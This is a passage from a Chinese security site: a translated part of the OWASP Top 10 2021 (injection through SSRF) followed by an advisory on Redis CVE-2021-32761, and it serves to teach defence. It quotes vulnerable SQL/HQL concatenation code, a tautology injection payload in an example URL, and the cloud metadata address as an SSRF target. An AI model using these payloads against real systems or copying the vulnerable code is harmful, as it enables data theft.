  • 注意:表名、列名等 SQL 结构不能转义,因此用户提供的结构名是危险的。这是报告编写软件中的常见问题。

  • 在查询中使用 LIMIT 和其他 SQL 控件以防止在 SQL 注入的情况下大量披露记录。

攻击场景示例

场景 #1:应用程序在构建以下易受攻击的 SQL 调用时使用不受信任的数据:

String query = “SELECT * FROM accounts WHERE custID='” + request.getParameter(“id”) + “‘”;

场景#2:类似地,应用程序对框架的盲目信任可能会导致查询仍然存在漏洞(例如,Hibernate 查询语言 (HQL)):

Query HQLQuery = session.createQuery(“FROM accounts WHERE custID='” + request.getParameter(“id”) + “‘”);

在这两种情况下,攻击者都会修改浏览器中的 ‘id’ 参数值以发送:’ 或 ‘1’=’1。例如:

http://example.com/app/accountView?id=’ 或 ‘1’=’1

这将更改两个查询的含义以返回帐户表中的所有记录。更危险的攻击可能会修改或删除数据,甚至调用存储过程。

A04:2021 – 不安全的设计

概述

2021 年的新类别侧重于与设计和架构缺陷相关的风险,并呼吁更多地使用威胁建模、安全设计模式和参考架构。值得注意的CWE包括 CWE-209:生成包含敏感信息的错误消息、 CWE-256:未受保护的凭证存储CWE-501:信任边界违规CWE-522:受保护的凭证不足

描述

不安全设计是一个广泛的类别,代表许多不同的弱点,表现为“缺失或无效的控制设计”。缺少不安全的设计是缺少控制的地方。例如,想象一下应该加密敏感数据的代码,但没有方法。无效的不安全设计是可以实现威胁的地方,但域(业务)逻辑验证不足会阻止该操作。例如,假设域逻辑应该根据收入等级处理流行病税收减免,但不验证所有输入都已正确签名并提供比应授予的更重要的减免收益。

安全设计是一种文化和方法,它不断评估威胁并确保代码经过稳健设计和测试,以防止已知的攻击方法。安全设计需要安全的开发生命周期、某种形式的安全设计模式或铺砌道路组件库或工具,以及威胁建模。

如何预防

  • 与 AppSec 专业人员建立并使用安全的开发生命周期,以帮助评估和设计与安全和隐私相关的控制

  • 建立和使用安全设计模式库或准备使用组件的铺好的道路

  • 将威胁建模用于关键身份验证、访问控制、业务逻辑和关键流

  • 编写单元和集成测试以验证所有关键流都能抵抗威胁模型

攻击场景示例

场景 #1:凭证恢复工作流程可能包括“问答”,这是 NIST 800-63b、OWASP ASVS 和 OWASP Top 10 所禁止的。不能将问答作为多个人身份的证据可以知道答案,这就是为什么它们被禁止。此类代码应删除并替换为更安全的设计。

场景#2:连锁影院允许团体预订折扣,并且在要求押金之前最多有 15 名参与者。攻击者可以对该流程进行威胁建模,并测试他们是否可以在几次请求中一次预订 600 个座位和所有电影院,从而造成巨大的收入损失。

场景 #3:零售连锁店的电子商务网站没有针对由黄牛运行的机器人提供保护,这些机器人购买高端显卡以转售拍卖网站。这对视频卡制造商和零售连锁店主造成了可怕的宣传,并与无法以任何价格获得这些卡的爱好者之间产生了仇恨。仔细的反机器人设计和域逻辑规则,例如在可用性的几秒钟内进行的购买,可能会识别出不真实的购买并拒绝此类交易。

A05:2021 – 安全配置错误

概述

从上一版的第 6 位开始,90% 的应用程序都经过了某种形式的错误配置测试。随着更多转向高度可配置的软件,看到这一类别上升也就不足为奇了。值得注意的CWE包括CWE-16 ConfigurationCWE-611 Improper Restriction of XML External Entity Reference

描述

如果应用程序是:

  • 在应用程序堆栈的任何部分缺少适当的安全强化或对云服务的权限配置不正确。

  • 启用或安装了不必要的功能(例如,不必要的端口、服务、页面、帐户或权限)。

  • 默认帐户及其密码仍处于启用状态且未更改。

  • 错误处理向用户显示堆栈跟踪或其他信息过多的错误消息。

  • 对于升级的系统,最新的安全功能被禁用或未安全配置。

  • 应用程序服务器、应用程序框架(例如,Struts、Spring、ASP.NET)、库、数据库等中的安全设置未设置为安全值。

  • 服务器不发送安全标头或指令,或者它们未设置为安全值。

  • 软件已过时或易受攻击(请参阅 A06:2021-易受攻击和过时的组件)。

如果没有协调一致的、可重复的应用程序安全配置过程,系统将面临更高的风险。

如何预防

应实施安全安装过程,包括:

  • 可重复的强化过程使部署另一个适当锁定的环境变得快速而轻松。开发、QA 和生产环境都应配置相同,在每个环境中使用不同的凭据。这个过程应该是自动化的,以最大限度地减少设置新安全环境所需的工作。

  • 一个没有任何不必要的功能、组件、文档和示例的最小平台。删除或不安装未使用的功能和框架。

  • 作为补丁管理流程的一部分,审查和更新适用于所有安全说明、更新和补丁的配置的任务(请参阅 A06:2021-易受攻击和过时的组件)。查看云存储权限(例如,S3 存储桶权限)。

  • 分段应用程序架构通过分段、容器化或云安全组 (ACL) 在组件或租户之间提供有效且安全的分离。

  • 向客户端发送安全指令,例如安全标头。

  • 验证配置和设置在所有环境中的有效性的自动化过程。

攻击场景示例

场景#1:应用程序服务器带有未从生产服务器中删除的示例应用程序。这些示例应用程序具有攻击者用来破坏服务器的已知安全漏洞。假设这些应用程序之一是管理控制台,并且默认帐户未更改。在这种情况下,攻击者使用默认密码登录并接管。

场景#2:服务器上没有禁用目录列表。攻击者发现他们可以简单地列出目录。攻击者找到并下载已编译的 Java 类,对其进行反编译和逆向工程以查看代码。然后攻击者发现应用程序中存在严重的访问控制缺陷。

场景#3:应用服务器的配置允许将详细的错误消息(例如堆栈跟踪)返回给用户。这可能会暴露敏感信息或潜在缺陷,例如已知易受攻击的组件版本。

场景#4:云服务提供商拥有其他 CSP 用户对 Internet 开放的默认共享权限。这允许访问存储在云存储中的敏感数据。

A06:2021 – 易受攻击和过时的组件

概述

它在行业调查中排名第二,但也有足够的数据通过数据进入前 10 名。易受攻击的组件是我们难以测试和评估风险的已知问题,并且是唯一没有任何 CVE 映射到包含的 CWE 的类别,因此使用默认的漏洞利用/影响权重 5.0。值得注意的CWE包括CWE-1104:使用未维护的第三方组件和来自 2013 年和 2017 年前 10 名的两个 CWE。

描述

你可能很脆弱:

  • 如果您不知道您使用的所有组件的版本(客户端和服务器端)。这包括您直接使用的组件以及嵌套的依赖项。

  • 如果软件易受攻击、不受支持或已过期。这包括操作系统、Web/应用程序服务器、数据库管理系统 (DBMS)、应用程序、API 和所有组件、运行时环境和库。

  • 如果您不定期扫描漏洞并订阅与您使用的组件相关的安全公告。

  • 如果您没有以基于风险的方式及时修复或升级底层平台、框架和依赖项。这通常发生在修补是变更控制下的每月或每季度任务的环境中,使组织面临数天或数月不必要地暴露于固定漏洞的风险。

  • 如果软件开发人员不测试更新、升级或修补的库的兼容性。

  • 如果您不保护组件的配置(请参阅 A05:2021-安全配置错误)。

如何预防

应该有一个补丁管理流程来:

  • 删除未使用的依赖项、不必要的功能、组件、文件和文档。

  • 使用版本、OWASP Dependency Check、retire.js 等工具持续清点客户端和服务器端组件(例如框架、库)及其依赖项的版本。成分。使用软件组合分析工具来自动化该过程。订阅与您使用的组件相关的安全漏洞的电子邮件警报。

  • 仅通过安全链接从官方来源获取组件。首选签名包以减少包含修改后的恶意组件的机会(请参阅 A08:2021-软件和数据完整性故障)。

  • 监视未维护或未为旧版本创建安全补丁的库和组件。如果无法打补丁,请考虑部署虚拟补丁来监控、检测或防止发现的问题。

每个组织都必须确保在应用程序或产品组合的生命周期内制定持续的监控、分类和应用更新或配置更改的计划。

攻击场景示例

场景#1:组件通常以与应用程序本身相同的权限运行,因此任何组件中的缺陷都可能导致严重影响。此类缺陷可能是偶然的(例如,编码错误)或有意的(例如,组件中的后门)。发现的一些可利用组件漏洞的示例是:

  • CVE-2017-5638 是一个 Struts 2 远程代码执行漏洞,可以在服务器上执行任意代码,已被归咎于重大漏洞。

  • 虽然物联网 (IoT) 通常很难或不可能修补,但修补它们的重要性可能很大(例如,生物医学设备)。

有一些自动化工具可以帮助攻击者找到未打补丁或配置错误的系统。例如,Shodan IoT 搜索引擎可以帮助您找到仍然存在 2014 年 4 月修补的 Heartbleed 漏洞的设备。

A07:2021 – 认证和授权失败

概述

以前称为Broken Authentication,此类别从第二位下滑,现在包括与识别失败相关的 CWE。包括的值得注意的CWE包括CWE-297:不正确的证书验证与主机不匹配CWE-287:不正确的身份验证和 CWE-384:会话固定

描述

确认用户的身份、身份验证和会话管理对于防止与身份验证相关的攻击至关重要。如果应用程序存在以下情况,则可能存在身份验证漏洞:

  • 允许自动攻击,例如撞库,其中攻击者拥有有效用户名和密码的列表。

  • 允许蛮力或其他自动攻击。

  • 允许使用默认密码、弱密码或众所周知的密码,例如“Password1”或“admin/admin”。

  • 使用弱或无效的凭据恢复和忘记密码流程,例如无法确保安全的“基于知识的答案”。

  • 使用纯文本、加密或弱散列密码(请参阅 A3:2017-敏感数据暴露)。

  • 缺少或无效的多因素身份验证。

  • 在 URL 中公开会话 ID(例如,URL 重写)。

  • 成功登录后不要轮换会话 ID。

  • 不会正确地使会话 ID 无效。用户会话或身份验证令牌(主要是单点登录 (SSO) 令牌)在注销或一段时间不活动期间未正确失效。

如何预防

  • 在可能的情况下,实施多因素身份验证以防止自动凭证填充、暴力破解和被盗凭证重用攻击。

  • 不要使用任何默认凭据进行交付或部署,尤其是对于管理员用户。

  • 实施弱密码检查,例如针对前 10,000 个最差密码列表测试新密码或更改的密码。

  • 将密码长度、复杂性和轮换策略与 NIST 800-63b 的第 5.1.1 节中关于记忆秘密的指南或其他现代的、基于证据的密码策略保持一致。

  • 通过对所有结果使用相同的消息,确保注册、凭据恢复和 API 路径能够抵御帐户枚举攻击。

  • 限制或增加延迟失败的登录尝试。当检测到凭证填充、暴力破解或其他攻击时,记录所有故障并提醒管理员。

  • 使用服务器端、安全、内置的会话管理器,在登录后生成新的高熵随机会话 ID。会话 ID 不应在 URL 中,安全存储,并在注销、空闲和绝对超时后失效。

攻击场景示例

场景#1:凭证填充(使用已知密码列表)是一种常见的攻击。假设应用程序没有实施自动化威胁或凭证填充保护。在这种情况下,应用程序可以用作密码预言机来确定凭证是否有效。

场景#2:大多数身份验证攻击是由于继续使用密码作为唯一因素而发生的。一经考虑,最佳实践、密码轮换和复杂性要求会鼓励用户使用和重复使用弱密码。建议组织按照 NIST 800-63 停止这些做法并使用多因素身份验证。

场景 #3:应用程序会话超时设置不正确。用户使用公共计算机访问应用程序。用户没有选择“注销”,而是简单地关闭浏览器选项卡并走开。攻击者在一个小时后使用同一个浏览器,而用户仍然通过身份验证。

A08:2021 – 软件和数据完整性故障

概述

2021 年的新类别侧重于在不验证完整性的情况下做出与软件更新、关键数据和 CI/CD 管道相关的假设。来自 CVE/CVSS 数据的最高加权影响之一。著名的CWE包括CWE-502:不可信数据的反序列化、 CWE-829:包含不受信任的控制领域的功能和 CWE-494:下载没有完整性检查的代码

描述

软件和数据完整性故障与不能防止完整性违规的代码和基础设施有关。例如,在对象或数据被编码或序列化为攻击者可以看到和修改的结构的情况下,很容易受到不安全的反序列化的影响。另一种形式是应用程序依赖来自不受信任的来源、存储库和内容交付网络 (CDN) 的插件、库或模块。不安全的 CI/CD 管道可能会导致未经授权的访问、恶意代码或系统受损。最后,许多应用程序现在包括自动更新功能,其中更新在没有充分完整性验证的情况下被下载并应用于以前受信任的应用程序。攻击者可能会上传自己的更新以分发并在所有安装上运行。

如何预防

  • 确保未签名或未加密的序列化数据不会在没有某种形式的完整性检查或数字签名的情况下发送到不受信任的客户端,以检测序列化数据的篡改或重放

  • 通过签名或类似机制验证软件或数据来自预期来源

  • 确保库和依赖项(例如 npm 或 Maven)使用受信任的存储库

  • 确保使用软件供应链安全工具(例如 OWASP Dependency Check 或 OWASP CycloneDX)来验证组件不包含已知漏洞

  • 确保您的 CI/CD 管道具有正确的配置和访问控制,以确保流经构建和部署过程的代码的完整性。

攻击场景示例

场景 #1 不安全的反序列化: React 应用程序调用一组 Spring Boot 微服务。作为函数式程序员,他们试图确保他们的代码是不可变的。他们提出的解决方案是序列化用户状态并在每个请求中来回传递它。攻击者注意到“R00”Java 对象签名并使用 Java Serial Killer 工具在应用服务器上获取远程代码执行权。

场景 #2 无需签名即可更新:许多家用路由器、机顶盒、设备固件和其他固件不通过签名固件验证更新。未签名固件是攻击者越来越多的目标,预计只会变得更糟。这是一个主要问题,因为很多时候除了在未来版本中修复并等待以前的版本过时之外,没有任何补救机制。

场景#3 SolarWinds 恶意更新:众所周知,国家会攻击更新机制,最近的一次著名攻击是 SolarWinds Orion 攻击。开发该软件的公司拥有安全的构建和更新完整性流程。尽管如此,这些还是能够被破坏,并且在几个月的时间里,该公司向 18,000 多个组织分发了一个高度针对性的恶意更新,其中大约 100 个组织受到了影响。这是历史上此类性质最深远、最重大的违规行为之一。

A09:2021 – 安全日志记录和监控失败

概述

安全日志记录和监控来自行业调查(#3),比 2017 年 OWASP 前 10 名中的第十位略有上升。日志记录和监控可能很难测试,通常涉及采访或询问是否在渗透测试期间检测到攻击。此类别的 CVE/CVSS 数据不多,但检测和响应漏洞至关重要。尽管如此,它对于可见性、事件警报和取证仍然非常有影响力。此类别扩展到CWE-778 日志记录不足之外,包括CWE-117 日志的不当输出中和CWE-223 安全相关信息的遗漏和 CWE-532 将敏感信息插入日志文件

描述

回到 2021 年 OWASP 前 10 名,该类别旨在帮助检测、升级和响应主动违规行为。如果没有日志记录和监控,就无法检测到漏洞。任何时候都会发生日志记录、检测、监控和主动响应不足的情况:

  • 不记录可审计的事件,例如登录、失败登录和高价值交易。

  • 警告和错误不会生成、不充分或不清楚的日志消息。

  • 不会监控应用程序和 API 的日志是否存在可疑活动。

  • 日志仅存储在本地。

  • 适当的警报阈值和响应升级流程没有到位或有效。

  • DAST 工具(例如 OWASP ZAP)的渗透测试和扫描不会触发警报。

  • 应用程序无法实时或接近实时地检测、升级或警告主动攻击。

通过使用户或攻击者可以看到日志记录和警报事件,您很容易受到信息泄漏的影响(请参阅 A01:2021 – 损坏的访问控制)。

如何预防

开发人员应实施以下部分或全部控制措施,具体取决于应用程序的风险:

  • 确保所有登录、访问控制和服务器端输入验证失败都可以用足够的用户上下文来记录,以识别可疑或恶意帐户,并保留足够的时间以允许延迟取证分析。

  • 确保以日志管理解决方案可以轻松使用的格式生成日志。

  • 确保日志数据编码正确,以防止对日志或监控系统的注入或攻击。

  • 确保高价值交易具有带有完整性控制的审计跟踪,以防止篡改或删除,例如仅追加数据库表或类似的。

  • DevSecOps 团队应该建立有效的监控和警报,以便快速检测和响应可疑活动。

  • 制定或采用事件响应和恢复计划,例如 NIST 800-61r2 或更高版本。

有商业和开源应用程序保护框架(例如 OWASP ModSecurity 核心规则集)和开源日志关联软件(例如 ELK 堆栈)具有自定义仪表板和警报功能。

攻击场景示例

场景#1:由于缺乏监控和日志记录,一家儿童健康计划提供商的网站运营商无法检测到违规行为。外部方通知健康计划提供者,攻击者访问并修改了超过 350 万儿童的数千份敏感健康记录。事后审查发现网站开发人员没有解决重大漏洞。由于没有对系统进行日志记录或监控,数据泄露可能自 2013 年以来一直在进行,时间超过七年。

场景#2:印度一家大型航空公司发生数据泄露事件,涉及数百万乘客超过十年的个人数据,包括护照和信用卡数据。数据泄露发生在第三方云托管服务提供商处,该提供商在一段时间后将泄露事件通知了航空公司。

场景 #3:一家主要的欧洲航空公司遭遇了 GDPR 可报告的违规行为。据报道,该漏洞是由攻击者利用的支付应用程序安全漏洞引起的,他们收集了超过 400,000 条客户支付记录。该航空公司因此被隐私监管机构罚款 2000 万英镑。

A10:2021 – 服务器端请求伪造 (SSRF)

概述

此类别是从行业调查 (#1) 中添加的。数据显示发生率相对较低,测试覆盖率高于平均水平,利用和影响潜力评级高于平均水平。由于新条目可能是用于关注和意识的单个或一小部分 CWE,因此希望它们受到关注,并且可以在未来版本中纳入更大的类别。

描述

每当 Web 应用程序在未验证用户提供的 URL 的情况下获取远程资源时,就会出现 SSRF 缺陷。它允许攻击者强制应用程序将精心设计的请求发送到意外目的地,即使受到防火墙、VPN 或其他类型的网络 ACL 的保护也是如此。

随着现代 Web 应用程序为最终用户提供方便的功能,获取 URL 成为一种常见情况。因此,SSRF 的发病率正在增加。此外,由于云服务和架构的复杂性,SSRF 的严重性越来越高。

如何预防

开发人员可以通过实施以下部分或全部深度防御控制来防止 SSRF:

从网络层

  • 在单独的网络中分段远程资源访问功能以减少 SSRF 的影响

  • 强制执行“默认拒绝”防火墙策略或网络访问控制规则,以阻止除基本 Intranet 流量之外的所有流量

从应用层:

  • 清理和验证所有客户端提供的输入数据

  • 使用肯定的允许列表强制执行 URL 架构、端口和目标

  • 不要向客户端发送原始响应

  • 禁用 HTTP 重定向

  • 注意 URL 一致性,以避免 DNS 重新绑定和“检查时间、使用时间”(TOCTOU) 竞争条件等攻击

不要通过使用拒绝列表或正则表达式来缓解 SSRF。攻击者拥有有效负载列表、工具和技能来绕过拒绝列表。

攻击场景示例

攻击者可以使用 SSRF 攻击受 Web 应用程序防火墙、防火墙或网络 ACL 保护的系统,使用的场景包括:

场景#1:端口扫描内部服务器。如果网络架构是未分段的,攻击者可以绘制内部网络,并根据连接结果或连接或拒绝 SSRF 负载连接所用的时间来确定内部服务器上的端口是打开还是关闭。

场景#2:敏感数据暴露。攻击者可以访问本地文件,例如 或内部服务以获取敏感信息。

场景#3:访问云服务的元数据存储。大多数云提供商都有元数据存储,例如http://169.254.169.254/攻击者可以读取元数据来获取敏感信息。

场景#4:破坏内部服务——攻击者可以滥用内部服务进行进一步的攻击,例如远程代码执行 (RCE) 或拒绝服务 (DoS)。

【漏洞通告】32位Redis 远程代码执行漏洞(CVE-2021-32761)

微慑管理员阅读(1603)

2021年7月22日,阿里云应急响应中心监测到Redis官方发布公告,披露了CVE-2021-32761 Redis(32位)远程代码执行漏洞。

01

漏洞描述

Redis是世界范围内应用广泛的内存型高速键值对数据库。2021年7月21日Redis官方发布公告,披露了CVE-2021-32761 32位Redis远程代码执行漏洞。在32位Redis中,攻击者在Redis存在未授权访问的情况下可利用*BIT*命令与proto-max-bulk-len配置参数可能造成整形溢出,最终导致远程代码执行。目前尚未有相关脚本流出,且漏洞仅影响32位Redis,阿里云应急响应中心提醒 Redis 用户尽快采取安全措施阻止漏洞攻击。

02

漏洞评级

CVE-2021-32761 Redis(32位)远程代码执行漏洞 高危

漏洞细节 漏洞PoC 漏洞EXP 在野利用
未公开 未公开 未公开 未知
04
03
03

影响版本

Redis >2.2 且 < 5.0.13

Redis >2.2 且 < 6.0.15

Redis >2.2 且 < 6.2.5

05

安全版本

Redis 5.0.13

Redis 6.0.15

Redis 6.2.5

06

安全建议

1、根据影响及其安全版本排查并升级到安全版本,或使用64位Redis

2、若暂无法升级,可通过启用Redis身份认证,禁止未授权用户调用*BIT*命令以及CONFIG SET指令

 

07

相关链接

https://github.com/redis/redis/security/advisories/GHSA-8wxq-j7rp-g8wj

微慑信息网 专注工匠精神

微慑信息网-VulSee.com-关注前沿安全态势,聚合网络安全漏洞信息,分享安全文档案例

访问我们联系我们

登录

找回密码

注册